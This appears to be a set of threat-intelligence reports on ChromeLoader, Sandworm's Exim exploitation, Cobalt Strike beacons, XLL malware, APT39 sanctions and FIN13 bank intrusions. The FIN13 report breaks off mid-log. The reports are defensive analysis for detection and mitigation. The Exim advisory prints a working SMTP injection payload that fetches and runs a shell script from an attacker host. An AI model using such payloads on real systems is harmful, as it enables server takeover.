| Collection | T1074.001 | Data Staged: Local Data Staging | Dolphin stages collected data in a directory before exfiltration. |
| Collection | T1113 | Screen Capture | Dolphin can capture screenshots. |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | Dolphin uses HTTPS to communicate with Google Drive. |
| Command and Control | T1102.002 | Web Service: Bidirectional Communication | Dolphin communicates with Google Drive to download commands and exfiltrate data. |
| Exfiltration | T1020 | Automated Exfiltration | Dolphin periodically exfiltrates collected data. |
| Exfiltration | T1567.002 | Exfiltration Over Web Service: Exfiltration to Cloud Storage | Dolphin exfiltrates data to Google Drive. | |
# Chromeloader Browser Hijacker
## Summary
We analyzed a new version of ChromeLoader (also known as Choziosi Loader) that was seen in the wild in recent weeks. This ChromeLoader campaign that appears to have started in December 2021 has become widespread and has spawned multiple versions, making atomic indicators ineffective for detections. In our analysis, we will be discussing the capabilities of this loader, as well as trying to dig a little deeper to find some indicators that will be more difficult for the threat actor to alter without making significant changes to the malware’s architecture.
We will be starting our analysis with the execution of the obfuscated PowerShell that ultimately downloads the malicious extension on the host. We have managed to extract some interesting strings from the different stages of the malware, as well as discovering a few modules that are not in use at the moment but could give a hint on what functionality will be added to the malware in the future. We will not be talking about the dropper in this analysis, as it is already quite well documented and no significant changes were seen for new versions of ChromeLoader.
## Static Analysis
We start our analysis with a PowerShell command that will connect to the C2 server used for the installation to download the first malicious payload, as well as set the ground for the extension’s installation. While the initial PowerShell is heavily obfuscated, there are a few strings of interest that we can identify with little effort. One of them is the function that builds the URL for the installation C2 server. We can also see the `Invoke-Expression` cmdlet.
By changing one of the visible `iex` expressions to `Write-Output`, we were able to make good progress without bothering with decrypting the script.
**NOTE:** This method is a lot faster than manual deobfuscation but can miss details that could be relevant for the analysis.
Running the script like this downloads a C# script from the installation server present in the command. During normal execution, it would then invoke it. The C# script gives us some good hints about the capability of the malware.
Some interesting function names:
- `getGoogSearchUri`
- `hookSearchNavigation`
- `runChromeOrEdge`
- `runFirefox`
- `runThread`
Some interesting methods:
- `paneConditionChromeOrEdge`
- `editConditionChromeOrEdge`
- `toolbarConditionFirefox`
- `comboboxConditionFirefox`
- `editboxConditionFirefox`
While previous analysis of the malware concluded that it would only affect Chrome browsers, we can see here that it checks to see if Chrome, Edge, or Firefox is installed and can hook any of these. It seems to be mostly interested in the user’s search history, as it intercepts searches done on Google and then redirects them to Bing. It also intercepts keyboard keys to account for the users that use the keyboard to navigate the results.
In the string from the C2 URL, the URL is built using the following variables:
- Domain
- TID is a hardcoded value in the script; the value was the same every time for this version of the malware, so maybe it is used for versioning.
- U is a unique identifier for the user.
Once the C# code finishes, it is followed by a series of additional PowerShell commands that will build it, load it into memory, and run it. PowerShell is used again to build the URL from which the next payload will be downloaded.
The commands suggest that a new archived file will be downloaded and expanded in a new folder made in the user’s APPDATA, that is randomly generated by the script via an XOR operation. The following function sets up the key for the encryption.
It looks like the script is testing multiple possible paths to see if they exist before finally settling on one and downloading the corresponding archive.
## Dynamic Analysis
Indeed, after arming the sample and detonating it, we can see a new folder in AppData called “chrome_glass.” Before creating the folder, the malware verifies if one of the following paths already exists:
- %AppData%\Local\chrome_metric
- %AppData%\Local\chrome_pref
- %AppData%\Local\chrome_settings
- %AppData%\Local\chrome_tools
- %AppData%\Local\chrome_storage
- %AppData%\Local\chrome_configuration
- %AppData%\Local\chrome_bookmarks
- %AppData%\Local\chrome_flags
- %AppData%\Local\chrome_history
- %AppData%\Local\chrome_cast
- %AppData%\Local\chrome_view
- %AppData%\Local\chrome_tab
- %AppData%\Local\chrome_panel
- %AppData%\Local\chrome_window
- %AppData%\Local\chrome_control
- %AppData%\Local\chrome_glass
- %AppData%\Local\chrome_nav
We can see how the script downloaded the C# code and then built it into a .dll in the Temp folder. There are also some evasion mechanisms here that are worth pointing out:
- The files are downloaded, run, and then deleted.
- The PSScript Policy test runs to ensure that the Temp folder is writable and that the files can be deleted.
- A new directory is created with a randomly generated name to ensure that the files cannot be retrieved by tools such as DirWatch.
Let’s also look at registry changes. We have caught hints from the PowerShell script that the installer will also write a value in “HKCU:\Software\CodeSector\.” And indeed, we see a new registry key being added. It is unclear at this time why the registry key is added, as there was no follow-up activity for this key. Perhaps it serves as a mutex of some sort for the attacker, to avoid infecting the same host.
Now let’s look a bit at the items that were unpacked from the archive. This is a Chrome extension; we can see that quite a few permissions are requested (manifest.json). The .js file is heavily obfuscated, to hinder the analysis. Using an online deobfuscator, we get a more readable code, but still hard to follow. We did manage, however, to extract a URL and an interesting base64-encoded string. We also noticed a function that seems to be modifying some Chrome settings.
The JavaScript contains multiple switch statements, in an attempt to make the analysis of the code as hard as possible. At this point, it is possible to start decoding the code manually, but it would be quite cumbersome. Since our goal is to identify some unique indicators that we can use for detection, we will just note a few interesting functions that will give us a hint about what the extension is trying to do.
Once the sample detonates, we see the request for the domain that we found in the JS file. The traffic is sent (and encrypted) via QUIC Protocol.
## Network Indicators
We know that the extension is using QUIC as a transport protocol for fast and encrypted communication. But, since we control the execution, we can force Chrome to dump the SSL Keys so we can load them in Wireshark and decrypt the traffic.
### Suspicious DNS Queries and Responses:
- goog.withyourrety[.]xyz: type A, class IN, addr 104.21.70.206
- goog.withyourrety[.]xyz: type A, class IN, addr 172.67.139.75
- Freychang[.]fun: type A, class IN, addr 104.21.45.207
- Freychang[.]fun: type A, class IN, addr 172.67.218.221
Using the IPs extracted from the DNS queries, the following interesting strings were identified:
- GREASE is the word
- HEX: 9b8d047b7db70d45ca16cf225df6e36ce3dcb0bec41dee190f8f20c859de8861967d771e2f4d572f4f7f5dfc04d5d5
The same “GREASE” string appears in other packets and is a setting for the HTTP3 communication; settings are a new registry used in HTTP3.
### A 302 Redirect Status Response Code:
```html
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>openresty/1.15.8.3</center>
</body>
</html>
```
While the page gives a code 302, it redirects back to goog[.]withyourrety[.]xyz, so this is probably a redundancy if one of the IPs the domain resolves to is no longer reachable.
## Running Chrome
Using the browser once the malicious extension was installed does indeed reflect what we have seen up to this point:
- Any search made on google.com is redirected to Withyourrety[.]xyz, and then eventually to Bing.
- The extension messes with the Google settings and does not allow the user to view the Extensions pane.
- When trying to do so, the user is redirected to the main settings page.
- The extension is hidden by default and cannot be turned off but can be removed by right-clicking on it and removing it from the browser.
At this time, the implant for Firefox does not seem to function. When attempting to install the extension on a host without any Chromium browser, the process hung and no Firefox instance was started.
## Indicators of Compromise
### Files:
- 6A84FE906EBBEED933D7776731FE7118E1E028C1 – *background.js
- B7CD274E9C4036DC3F27D347A8428B40437A7AFA – *manifest.json
- E1DCD96B5D14141E2F6EE50246E68EE7499E4D87 – %AppData%\Local\data.zip
### Paths:
- %AppData%\Local\chrome_metric
- %AppData%\Local\chrome_pref
- %AppData%\Local\chrome_settings
- %AppData%\Local\chrome_tools
- %AppData%\Local\chrome_storage
- %AppData%\Local\chrome_configuration
- %AppData%\Local\chrome_bookmarks
- %AppData%\Local\chrome_flags
- %AppData%\Local\chrome_history
- %AppData%\Local\chrome_cast
- %AppData%\Local\chrome_view
- %AppData%\Local\chrome_tab
- %AppData%\Local\chrome_panel
- %AppData%\Local\chrome_window
- %AppData%\Local\chrome_control
- %AppData%\Local\chrome_glass
- %AppData%\Local\chrome_nav
- %AppData%\Local\Temp\[a-zA-Z0-9]{8}
- %AppData%\Local\Temp\[a-zA-Z0-9]{8}\[a-zA-Z0-9]{8}.cs
- %AppData%\Local\Temp\[a-zA-Z0-9]{8}\[a-zA-Z0-9]{8}.dll
- %AppData%\Local\Temp\[a-zA-Z0-9]{8}\[a-zA-Z0-9]{8}.cmdline
- %AppData%\Local\Temp\[a-zA-Z0-9]{8}\[a-zA-Z0-9]{8}.out
### Domains:
- Mplayeran[.]autos
- Withyourrety[.]xyz
- Freychang[.]fun
### Registry:
- Computer\HKEY_CURRENT_USER\SOFTWARE\CodeSector\Tera Copy
### IPs:
- 104.21.70.206
- 172.67.139.75
- 172.67.218.221
- 104.21.51.237
- 172.67.191.177
### Network Indicators:
- String: GREASE is the word
- HEX: 9b8d047b7db70d45ca16cf225df6e36ce3dcb0bec41dee190f8f20c859de8861967d771e2f4d572f4f7f5dfc04d5d5
### Scriptblock and Memory:
- `getGoogSearchUri`
- `hookSearchNavigation`
- `runChromeOrEdge`
- `runFirefox`
- `runThread`
- `hxxps://$d/e?iver=$iv&u=$u&is=$is&ed=$di`
- `hxxps://$d/e?iver=$iv&did=$dd&ver=$ver&ed=$di`
- `hxxps://$d/err?iver=$iv&did=$dd&ver=$ver`
- `hxxps://$dl/err?iver=$iv&u=$u&is=$is`
- `hxxps://$d/x?u=$u&is=$is&lv=$lv&rv=$v` |
# SANDWORM ACTORS EXPLOITING VULNERABILITY IN EXIM MAIL TRANSFER AGENT
## Summary
Russian cyber actors from the GRU Main Center for Special Technologies (GTsST) have been exploiting a vulnerability in Exim Mail Transfer Agent (MTA) software since at least August 2019. The cyber actors responsible for this malicious cyber program are known publicly as the Sandworm team.
Exim is a commonly used MTA software for Unix-based systems and comes pre-installed on some Linux distributions such as Debian. On 5 June 2019, an update for a critical vulnerability (CVE-2019-10149) in Exim was released. The remote code execution vulnerability was introduced in Exim version 4.87. An unauthenticated remote attacker can send a specially crafted email to execute commands with root privileges, allowing the attacker to install programs, modify data, and create new accounts. An advisory was published to the Exim webpage urging users to update to the newest version as older versions are unsupported.
The actors exploited victims using Exim software on their public-facing MTAs by sending a command in the "MAIL FROM" field of an SMTP (Simple Mail Transfer Protocol) message. Below is a sample, which contains parameters the actor would modify per deployment.
```
MAIL FROM:<${run{\x2Fbin\x2Fsh\t-c\t\x22exec\x20\x2Fusr\x2Fbin\x2Fwget\x20\x2DO\x20\x2D\x20http\:\x2F\x2F\hostapp.be\x2Fscript1.sh\x20\x7C\x20bash\x22}}@hostapp.be>
```
Hex decoded command:
```
/bin/sh -c "exec /usr/bin/wget -O - http://hostapp.be/script1.sh | bash"
```
When CVE-2019-10149 is successfully exploited, an actor is able to execute code of their choosing. When Sandworm exploited CVE-2019-10149, the victim machine would subsequently download and execute a shell script from a Sandworm-controlled domain. This script would attempt to do the following on the victim machine:
- add privileged users
- disable network security settings
- update SSH configurations to enable additional remote access
- execute an additional script to enable follow-on exploitation
## Mitigation Actions
### Apply Exim Updates Immediately
Update Exim immediately by installing version 4.93 or newer to mitigate this and other vulnerabilities. Other vulnerabilities exist and are likely to be exploited, so the latest fully patched version should be used. Using a previous version of Exim leaves a system vulnerable to exploitation. System administrators should continually check software versions and update as new versions become available.
Administrators can update Exim Mail Transfer Agent software through their Linux distribution’s package manager or by downloading the latest version from the Exim website.
### Detect Exploit Attempts and Unauthorized Changes
Additionally, network-based security appliances may be able to detect and/or block CVE-2019-10149 exploit attempts. For example, Snort rule 1-50356 alerts on exploit attempts by default for registered users of a Snort Intrusion Detection System (IDS). Administrators are encouraged to review network security devices protecting Exim mail servers both for identifying prior exploitation and for ensuring network-based protection for any unpatched Exim servers. Raw traffic logs can also be queried for emails with a recipient containing “${run”, which would likely indicate a CVE-2019-10149 exploit attempt. Other attack methods exist for non-default configurations and may not be detected using these methods.
Routinely verifying no unauthorized system modifications, such as additional accounts and SSH keys, have occurred can help detect a compromise. To detect these modifications, administrators can use file integrity monitoring software that alerts an administrator or blocks unauthorized changes on the system.
### Apply Defense-in-Depth Security Strategy
Security principles such as least access models and defense-in-depth should be applied when installing public-facing software such as MTAs and can help prevent exploitation attempts from being successful. Network segmentation should be used to separate networks into zones based on roles and requirements. Public-facing MTAs should be isolated from sensitive internal resources in a demilitarized zone (DMZ) enclave. When using a DMZ for public Internet-facing systems, firewall rules are important to block unexpected traffic from reaching trusted internal resources. In addition, MTAs should only be allowed to send outbound traffic to necessary ports (e.g., 25, 465, 587), and unnecessary destination ports should be blocked. Least access model firewall rules around a DMZ can inhibit attackers from gaining unauthorized access, as unexpected port traffic should be blocked by default.
If an MTA DMZ was configured in a least access model, for example to deny by default MTA initiated outbound traffic destined for port 80/443 on the Internet while only permitting traffic initiated from an MTA to necessary hosts on port 80/443, the actors’ method of using CVE-2019-10149 would have been mitigated.
## Indicators of Compromise (IOC)
Since at least August 2019, the following IP addresses and domains were associated with these attacks from the Sandworm actor:
- 95.216.13.196
- 103.94.157.5
- hostapp.be |
# InfoSec Handlers Diary Blog
Published: 2021-03-07
Last Updated: 2021-03-07 20:55:50 UTC
by Didier Stevens (Version: 1)
I like taking a closer look at capture files posted by Brad. In his latest diary entry, we have a capture file with Cobalt Strike traffic.
With regular expression "^/....$" I look for URIs that are typical for Cobalt Strike shellcode (and Metasploit too): Following this HTTP stream, I see data that looks encoded and has some repetitions, so this might be some kind of XOR encoding:
I export this data stream as a file: Then pass it through my 1768.py Cobalt Strike beacon analysis tool: And this is indeed the configuration of a beacon.
Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com
DidierStevensLabs.com |
# How Attackers Use XLL Malware to Infect Systems
In recent months, we have seen a growth in malware campaigns using malicious Microsoft Excel add-in (XLL) files to infect systems. This technique is tracked in MITRE ATT&CK as T1137.006. The idea behind such add-ins is that they contain high-performance functions and can be called from an Excel worksheet via an application programming interface (API). This feature enables users to extend the functionality of Excel more powerfully compared to other scripting interfaces like Visual Basic for Applications (VBA) because it supports more capabilities, such as multithreading. However, attackers can also make use of these capabilities to achieve malicious objectives.
In the campaigns we saw, emails with malicious XLL attachments or links were sent to users. Double-clicking the attachment opens Microsoft Excel, which prompts the user to install and activate the add-in.
Attackers usually place their code in the `xlAutoOpen` function, which is executed immediately when the add-in is activated. What makes this technique dangerous is that only one click is required to run the malware, unlike VBA macros which require the user to disable Microsoft Office’s Protected View and enable macro content. However, XLL files are portable executables that follow the format of dynamic link libraries (DLLs) which many email gateways already block. We recommend organizations consider the following mitigations:
- Configure your email gateway to block inbound emails containing XLL attachments.
- Configure Microsoft Excel to only permit add-ins signed by trusted publishers.
- Configure Microsoft Excel to disable proprietary add-ins entirely.
## XLL Malware for Sale
The rise in XLL attacks led us to search underground forums to gauge the popularity of tooling and services using this file format. We encountered adverts from one threat actor repeatedly, who claimed to be selling a builder that creates XLL droppers. The user specifies an executable file or a link to one and adds a decoy document. An XLL file is generated as output, which can then be used in attacks.
## Excel-DNA Generated Add-Ins
Most XLL samples we analyzed have the same structure. Essentially, XLL files are DLLs containing an exported function called `xlAutoOpen`. The most common type of malicious XLL files we see are those generated using a legitimate software project called Excel-DNA. Looking inside an XLL malware sample that follows this structure, you can see it contains several large resources.
This includes Excel-DNA project components as well as the add-in, which in this case is a malware dropper. You can identify the file that contains the Excel add-in code by looking at the resource names or the XML definition file that is also stored in the resource section. In this sample, the add-in containing the malicious code is developed in .NET and is located in the MODDNA resource. To inspect the code, you first need to save this resource to disk and decompress it using the Lempel–Ziv–Markov chain algorithm (LZMA) algorithm. Since the add-in is a .NET application, we can decompile it to retrieve its source code for further analysis.
XLL files created using the Excel-DNA project can also be unpacked automatically using a script provided by the project. The script takes the path of the XLL file as an argument and then extracts, unpacks, and saves the resources to a folder.
## Custom Generated Add-Ins
We have also seen other types of XLL malware lately that don’t use Excel-DNA to generate add-ins. One of these samples, a downloader, was particularly interesting because it was tiny (4.5 KB). Like the other XLL files, the file has the `xlAutoOpen` function exported. To disguise the control flow of the application, many consecutive `jmp` instructions are executed.
To understand how it works, we removed the `jmp` instructions and only analyzed relevant instructions. We noticed that encrypted data is located in the file immediately after the executable code. The data is decrypted in a loop that first determines the position and size of the data and then deobfuscates it using an XOR operation. After every 8 bytes, the key is multiplied and added to two different constants.
Once the data is decrypted, it contains three DLL names, five API function names, the URL of the payload, and the path to the local file where the payload is to be stored. With the decrypted DLL names, the malware first correctly resolves the base addresses by traversing the InLoadOrderModuleList via Process Environment Block (PEB) and then uses them to find the addresses of API functions it wishes to call. The malware then uses the resolved API functions to download a payload from a web server, store it locally, and then execute it. In this example, the malware we analyzed made the following API calls:
1. `GetProcAddress("ExpandEnvironmentStringsW")`
2. `ExpandEnvironmentStringsW("%APPDATA%\\joludn.exe")`
3. `LoadLibraryW("UrlMon")`
4. `GetProcAddress("URLToDownloadFile")`
5. `URLToDownloadFile("hxxp://141.95.107[.]91/cgi/dl/8521000125423.exe", "C:\\Users\\REDACTED\\AppData\\Roaming\\joludn.exe")`
6. `_wsystem("C:\\Users\\REDACTED\\AppData\\Roaming\\joludn.exe")`
The custom XLL malware can be tracked using the following YARA rule:
```yara
rule xll_custom_builder
{
meta:
description = "XLL Custom Builder"
author = "[email protected]"
date = "2022-01-07"
strings:
$str1 = "xlAutoOpen"
$str2 = "test"
$op1 = { 4D 6B C9 00 }
$op2 = { 4D 31 0E }
$op3 = { 49 83 C6 08 }
$op4 = { 49 39 C6 }
condition:
uint16(0) == 0x5A4D and all of ($str*) and all of ($op*) and filesize < 10KB
}
```
## Conclusion
Microsoft Excel offers many legitimate ways to execute code, such as Excel4 macros, Dynamic Data Exchange (DDE), and VBA, which are widely abused by attackers. Over the last few months, we have seen malware families such as Dridex, Agent Tesla, Raccoon Stealer, and Formbook delivered using XLL files during the initial infection of systems. To create these files, the attackers most likely use a builder like the one advertised in the forum. We found that many malicious add-ins are generated using Excel-DNA; however, some XLL malware we analyzed was custom and made more use of encryption to disguise its functionality. The increasing volume of XLL attacks in the last few months indicates that attackers are interested in exploring this technique, and that we may see more attackers favor XLL over other execution methods in the coming months.
## Indicators of Compromise
- XLL add-in built using Excel-DNA: `380f15a57aee6d2e6f48ed36dd077be29aa3a3eb05bfb15a1a82b26cfedf6160`
- Custom XLL add-in: `c314c7feeb98de6391da83678e1639aade3fbe9c95846b8c2f2590ea3d34dd4f`
More XLL hashes can be found in our GitHub repository. |
# Treasury Sanctions Cyber Actors Backed by Iranian Intelligence Ministry
September 17, 2020
Washington – Today, the U.S. Department of the Treasury’s Office of Foreign Assets Control (OFAC) imposed sanctions on Iranian cyber threat group Advanced Persistent Threat 39 (APT39), 45 associated individuals, and one front company. Masked behind its front company, Rana Intelligence Computing Company (Rana), the Government of Iran (GOI) employed a years-long malware campaign that targeted Iranian dissidents, journalists, and international companies in the travel sector. Concurrent with OFAC’s action, the U.S. Federal Bureau of Investigation (FBI) released detailed information about APT39 in a public intelligence alert.
“The Iranian regime uses its Intelligence Ministry as a tool to target innocent civilians and companies, and advance its destabilizing agenda around the world,” said Treasury Secretary Steven T. Mnuchin. “The United States is determined to counter offensive cyber campaigns designed to jeopardize security and inflict damage on the international travel sector.”
These individuals and entities were designated pursuant to Executive Order (E.O.) 13553. Rana advances Iranian national security objectives and the strategic goals of Iran’s Ministry of Intelligence and Security (MOIS) by conducting computer intrusions and malware campaigns against perceived adversaries, including foreign governments and other individuals the MOIS considers a threat. APT39 is being designated pursuant to E.O. 13553 for being owned or controlled by the MOIS, which was previously designated on February 16, 2012, pursuant to Executive Orders 13224, 13553, and 13572, which target terrorists and those responsible for human rights abuses in Iran and Syria, respectively.
Rana is being designated pursuant to E.O. 13553 for being owned or controlled by MOIS. Forty-five cyber actors are also being designated pursuant to E.O. 13553 for having materially assisted, sponsored, or provided financial, material, or technological support for, or goods or services to or in support of the MOIS. The identification of these individuals and their roles related to MOIS and APT39 comes as the result of a long-term investigation conducted by the FBI Boston Division.
The 45 designated individuals served in various capacities while employed at Rana, including as managers, programmers, and hacking experts. These individuals provided support for ongoing MOIS cyber intrusions targeting the networks of international businesses, institutions, air carriers, and other targets that the MOIS considered a threat. The FBI advisory, also being released today, details eight separate and distinct sets of malware used by MOIS through Rana to conduct their computer intrusion activities. This is the first time most of these technical indicators have been publicly discussed and attributed to MOIS by the U.S. government. By making the code public, the FBI is hindering MOIS’s ability to continue their campaign, ending the victimization of thousands of individuals and organizations around the world.
“The FBI, through our Cyber Division, is committed to investigating and disrupting malicious cyber campaigns, and collaborating with our U.S. government partners to impose risks and consequences on our cyber adversaries. Today, the FBI is releasing indicators of compromise attributed to Iran’s MOIS to help computer security professionals everywhere protect their networks from the malign actions of this nation state,” said FBI Director Christopher Wray. “Iran’s MOIS, through their front company Rana, recruited highly educated people and turned their cyber talents into tools to exploit, harass, and repress their fellow citizens and others deemed a threat to the regime. We are proud to join our partners at the Department of Treasury in calling out these actions. The sanctions announced today hold these 45 individuals accountable for stealing data not just from dozens of networks here in the United States, but from networks in Iran’s neighboring countries and around the world."
The MOIS, camouflaged as Rana, has played a key role in the GOI’s abuse and surveillance of its own citizens. Through Rana, on behalf of the MOIS, the cyber actors designated today used malicious cyber intrusion tools to target and monitor Iranian citizens, particularly dissidents, Iranian journalists, former government employees, environmentalists, refugees, university students and faculty, and employees at international nongovernmental organizations. Some of these individuals were subjected to arrest and physical and psychological intimidation by the MOIS. APT39 actors have also victimized Iranian private sector companies and Iranian academic institutions, including domestic and international Persian language and cultural centers. Rana has also targeted at least 15 countries in the Middle East and North Africa region.
Rana’s targeting has been both internal to Iran and global in scale, including hundreds of individuals and entities from more than 30 different countries across Asia, Africa, Europe, and North America. Rana has used malicious cyber intrusion tools to target or compromise approximately 15 U.S. companies primarily in the travel sector. MOIS cyber actors targeted a wide range of victims, including global airlines and foreign intelligence services. The unauthorized access obtained by the individuals designated today allows the MOIS to track individuals whom it considers a threat.
As a result of today’s action, all property and interests in property of the individuals and entities above, and of any entities that are owned, directly or indirectly, 50 percent or more by them, individually, or with other blocked persons, that are in the United States or in the possession or control of U.S. persons, are blocked and must be reported to OFAC. Unless authorized by a general or specific license issued by OFAC or otherwise exempt, OFAC’s regulations generally prohibit all transactions by U.S. persons or within (or transiting) the United States that involve any property or interests in property of designated or otherwise blocked persons. The prohibitions include the making of any contribution or provision of funds, goods, or services by, to, or for the benefit of any blocked person or the receipt of any contribution or provision of funds, goods or services from any such person. |
# FIN13 (Elephant Beetle): Viva la Threat!
## Anatomy of a Fintech Attack
By the NetWitness Incident Response and FirstWatch Threat Intelligence teams
Stefano Maccaglia
Practice Manager, Incident Response
Will Gragido
Head of Threat Research Intelligence Content
## Introduction
The NetWitness Incident Response (IR) Team has a long and notable history of working on complex cases across industry sectors and verticals worldwide. Throughout its history, the IR team has encountered a wide array of threats and actors dating back to its earliest start-up days. From time to time, certain engagements stand out more so than others. In some instances, it is the victim who is of special interest to the team. Or it is the nature of the case – the target(s), the tooling and infrastructure observed and analyzed during the investigation, or the behavioral patterns identified and observed within the victim environment. In other situations, it is the TTPs which capture our attention and engage us in deep and rigorous analysis. And, in still other instances, it is the threat actor who captures our attention as was the case recently when the team was engaged in Latin America in response to attacks that began in March of 2021.
During a recent lull in activity between engagements, the NetWitness Incident Response Team became aware of two intriguing cases unlike any which we had seen up to this point in time. What made them unique was the advent of a previously unknown threat actor which linked both cases (and their subsequent victims) of which we were previously unaware. The attacks in question targeted the financial vertical, specifically two banks in Latin America. During these attacks, the threat actors in question showed significant sophistication and technical knowledge beyond what we have observed as being typical for the type of actor and their traditional targets. Unlike other threat actors that we have encountered within our past engagements who tend to focus on Point of Sale (PoS) fraud, phishing/spear phishing campaigns, mobile banking application exploitation, and basic credential theft and exploitation (all of which are far more common than active targeting and attempts at compromising banking infrastructure), the threat actors observed in the two aforementioned cases demonstrated that these actors were operating from a more advanced playbook.
Examples of this could be seen in activities where we observed the threat actors in question attempting to leverage vulnerability exploitation of the victim’s multi-factor authentication (MFA) solution: RSA SecurID One Time Password (OTP) offering, deployed by the victims to protect their remote banking customers. It should be noted that we found no evidence to suggest that the threat actors were successful in directly exploiting the SecurID platform despite the fact that they were observed using a known exploitation designed to result in the compromise of SecurID tokens that have been implemented in a suboptimal manner. We believe this is an indication of the threat actors' technical experience with and exposure to modern multi-factor authentication capabilities.
Furthermore, it is our professional opinion that this is not indicative of capabilities we have observed in other financial vertical cases we have worked on in the region, largely due to the fact that in order to successfully exploit and compromise the financial institutions’ remote banking customers/home-banking MFA, the threat actors in question would need to be able to successfully exploit, compromise, and penetrate the financial institutions in question; access the SecurID seeds stored within them located in specific repositories; and collect the corresponding credential information of the remote banking customers in order to later impersonate the remote users to advance their goals in defrauding the victims and their customers. A truly remarkable feat for a cybercriminal gang.
## What’s In a Name? FIN13 (Elephant Beetle or TG2003)
This malicious group is FIN13. They are also referred to at times as “Elephant Beetle” or more simply as “TG2003.” Through analyzing both cases in detail, the NetWitness Incident Response and FirstWatch Threat Intelligence conclude that both the identity of the threat actor is accurate as are its patterns of behavior. To date and the time of this writing, there is no official nomenclature that defines and describes FIN13 in the MITRE ATT&CK framework. However, both Mandiant and Sygnia have reported on the attacker in the past and have highlighted several common traits that we have also seen during the course of analysis. As mentioned in the introduction section of this paper, it is noteworthy that FIN13’s efforts in selecting targets are both highly localized and we see them targeting and impacting large organizations in the financial, retail, and hospitality verticals. This differentiates FIN13 further from other threat actors that are principally financially motivated. Additionally, FIN13 has been observed and is known to conduct lengthy attacks and operations against their intended targets. The results of the patience demonstrated by FIN13 in these instances varies; however, their approach has afforded them the time to collect information necessary for executing fraudulent money transfers and other activities.
## Preferred Tooling and Tactics, Techniques, and Procedures (TTPs)
FIN13 has a known affinity and reliance upon attack frameworks such as Cobalt Strike. Additionally, FIN13 makes extensive use of custom backdoors of their own design and other tools in order to achieve a foothold and persistence within their victim’s environments resulting in the threat actor being able to enjoy lengthy dwell time and the freedom to move throughout the environment without hindrance. Through our investigation, research, and analysis of the two cases, we have studied the following TTPs and patterns of behavior that have been observed and recorded:
- Active exploitation of Linux machines through vulnerable Java-based applications
- Extensive adoption of Web Shells
- Adoption and use of off-the-shelf, common penetration testing/red teaming tools that have been repurposed and customized to support their attacks and operations
- A significant use of scripted scanning techniques used to conduct deeper reconnaissance of the targeted victims in order to gain deeper understanding and knowledge of their network environments
- Advanced knowledge of the RSA SecurID platform and misconfigurations that can enable a determined threat actor to gain salient detail and information necessary for impersonation attacks conducted against the victims and their customers
### Typical FIN13 Attack Process
The following figure depicts the traditional strategy used by the attacker:
- Command & Control
- Remote Command Execution
- Remote Access
- Account Abuse
- Remote Administration
- Reconnaissance
- Initial Compromise
- Persistence
- Escalation of Privileges
- Scan, Lateral Movements
- Exfiltration, Entrenchment
FIN13 has an affinity for Java-based attacks. In the two cases we were engaged in, FIN13 targeted legacy Java applications running on Linux-based machines as a means of initial entry to the environment. In one of our cases, the exploit used was targeting Oracle WebLogic Server Deserialization RCE (CVE-2019-2729) which is aligned with recently reported cases (from Mandiant Report). Interestingly, in the second case, the attacker exploited the Log4j vulnerability (CVE-2021-44228) to land upon a web server, which is a widely adopted technique for attackers. Additionally, we observed the group deploying its own complete Java web application onto victim machines in order to establish command and control while the machines remained operational, running legitimate applications in parallel to this malicious code.
Sygnia report published in January 2022 cites the following exploits as typically abused by the attacker:
- SAP NetWeaver Invoker Servlet Exploit (CVE-2010-5326)
- Config Servlet Remote Code Execution (EDB-ID-24963)
- WebSphere Application Server SOAP Exploit (CVE-2015-7450)
In our investigations, we observed that once the attacker was able to open a beachhead inside the public-facing network of the victims, he deployed generic web shells and custom malware including BLUEAGAVE to establish a foothold. Other typical tools we saw during the analyses are:
- JSprat Web Shell
- Closewatch Web shell
- Porthole: a Java-based network scanner
- SwearJAR backdoor
- BlueAgave bind shell
- Latchkey: PowerSploit script to dump credentials
- Database browsers
It should be noted that in comparison to many other threat actors we have encountered in our incident response and investigation work, FIN13 has demonstrated (in the two cases that we have been involved in directly) a more mature and sophisticated approach to their operations, wherein advanced penetration testing skills and acumen in addition to programmatic skill were observed and noted. This correlates with what Sygnia had reported in their body of work on this threat actor as well.
## Attack Description
### Initial Exploitation: Oracle WebLogic Server Deserialization RCE
As mentioned in the introduction, the attacks began during March of 2021, when the attacker attempted to scan the perimeter of the victim looking for potential vulnerable web services. Using our NetWitness Network tooling, we were able to record these scanning attempts, but due to the usual volume of the traffic, the test went unnoticed, hidden in the multitude of similar actions conducted by cybercriminals of any sort.
In Figure 2, we can see that the scan was executed by the IP address 185.193.126.22. Through rigorous analysis, we were able to link the first scan attempt with subsequent activity which started during the month of June 2021. Furthermore, we were able to establish that the actor used the same IP address in the second phase of the attack, before uploading a web shell on the exploited Linux system on June 21, 2021, which took place just minutes after the targeted web server was scanned again by the actor using the NMAP tool from a source IP address of 185.193.126.22.
At this time, a different IP address (187.177.170.111) was observed making POST requests to a web page called AsyncResponseServiceHttps.
Our research supports the conclusion that the attack was successful because the server was running version 12.1.1.0 of WebLogic.
This vulnerability is due to an issue in the deserialization of content passed to the WebLogic interface from the web server. Serialization is the process of converting complex data structures, such as objects and their fields, into a “flatter” format that can be sent and received as a sequential stream of bytes over a network or between different components of an application, or in an API call. Crucially, when serializing an object, its state is also persisted. In other words, the object’s attributes are preserved, along with their assigned values. Once the stream of bytes reaches its destination, a deserialization process is executed restoring this byte stream to a fully functional replica of the original object, in the exact state as when it was serialized. The website’s logic can then interact with this deserialized object, just like it would with any other object.
If, before or during the deserialization process one or more objects are modified, this modification will affect the outcome of the process, instancing potentially a different object than the originally sent.
Insecure deserialization is when user-controllable data is deserialized by a website, such as in the Oracle vulnerability, where an attacker, manipulating the serialized objects, can pass harmful data into the application code. It is even possible to replace a serialized object with an object of an entirely different class. Alarmingly, objects of any class that is available to the website will be deserialized and instantiated, regardless of which class was expected. For this reason, insecure deserialization is sometimes known as an “object injection” vulnerability. This remote code execution vulnerability is exploitable without authentication, through the interaction with a vulnerable web server instancing the page: web page called “AsyncResponseServiceHttps” passing via POST message malicious content, without the need for a username and password.
Subsequent requests from the actor were checking the availability of files dropped by the actor:
```
187.177.170.111 [21/Jun/2021:14:39:55 -0500] “GET /wls-wsat/CoordinatorPortType HTTP/1.1” 404 1164
187.177.170.111 [21/Jun/2021:14:40:01 -0500] “GET /favicon.ico HTTP/1.1” 404 1164
187.177.170.111 [21/Jun/2021:14:40:04 -0500] “GET /_async HTTP/1.1” 302 265
